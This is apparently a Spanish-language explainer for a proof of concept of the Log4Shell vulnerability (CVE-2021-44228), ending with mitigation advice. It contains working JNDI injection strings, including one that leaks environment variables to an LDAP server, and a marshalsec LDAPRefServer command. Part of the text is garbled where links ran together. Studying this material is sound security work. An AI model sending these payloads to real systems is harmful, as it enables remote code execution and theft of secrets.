
POC de vulnerabilidad
CVE-2021-44228:
Esta vulnerabilidad te permite ejecutar código arbitrario registrando un mensaje malicioso en la máquina objetivo.
Por ejemplo, puedes usarlo en Minecraft enviando un mensaje de chat, y la máquina del servidor/jugador registrará el mensaje de chat y ejecutará tu código.
Vídeo de LiveOverflow sobre CVE-2021-44228
El mensaje debe contener un marcador de posición ${} con la instrucción de cargar un objeto remoto
a través de la API . Cargará el objeto mediante un
jndiObjectFactoryldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
Si el ObjectFactory no está presente en el cliente, no hará nada.
Excepto resolver el servidor.
Con eso, puedes filtrar variables de entorno:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
¿por qué está tan sobrevalorado?
Si mi entendimiento es correcto, proporciona una interfaz a JNDI
Qué se puede explotar
JNDI JDAP es una API de búsqueda de objetos.
Puedes obtener un objeto Java de un servidor.
marshalsec/LDAPRefServer
Envía datos del objeto y el nombre del ObjectFactory, que debería construir el objeto en el cliente.
Puede explotarse de múltiples maneras.
Si LDAP está configurado para confiar en código externo, solo necesitamos dar la URL a un ObjectFactory malicioso.
com.sun.jndi.ldap.object.trustURLCodebase = true
O existe otra vulnerabilidad de Java. JDK-8196902
Combinado con eso, realmente se convertirá en un RCE.
Múltiples repositorios POC hacen esto en GitHub. Por ejemplo tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
Si esto está configurado como false (por defecto está configurado como false), podemos buscar un ObjectFactory explotable en la base de código objetivo,
o explotar JNDI de otra manera.
Lectura adicional sobre inyección JNDI:
Inyección JNDI
Veracode Research/rogue-jndi
RCEExample es una función que registra el mensaje malicioso.
Solo presiona ejecutar para ejecutarlo...
LoggerFactory es un ObjectFactory que registrará lo que reciba...
Si compilas marshalsec, puedes pedirle que use LoggerFactory
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample y observa el exploit (el logger).LoggerFactory, ver los objetos.Tu programa no está afectado SI solo registra mensajes integrados.
Si el programa puede registrar texto de cualquier archivo de datos, o de la red, es vulnerable.
Pero deberías arreglarlo de todos modos...
Lo mejor que puedes hacer es actualizar a Log4J2 2.15.0+
Si no es posible por alguna razón, desactiva la búsqueda JNDI con el siguiente argumento de Java: ‐Dlog4j2.formatMsgNoLookups=True para mitigar la vulnerabilidad.
Si eres administrador de un servidor de Minecraft, sigue la guía oficial: MENSAJE IMPORTANTE: VULNERABILIDAD DE SEGURIDAD EN JAVA EDITION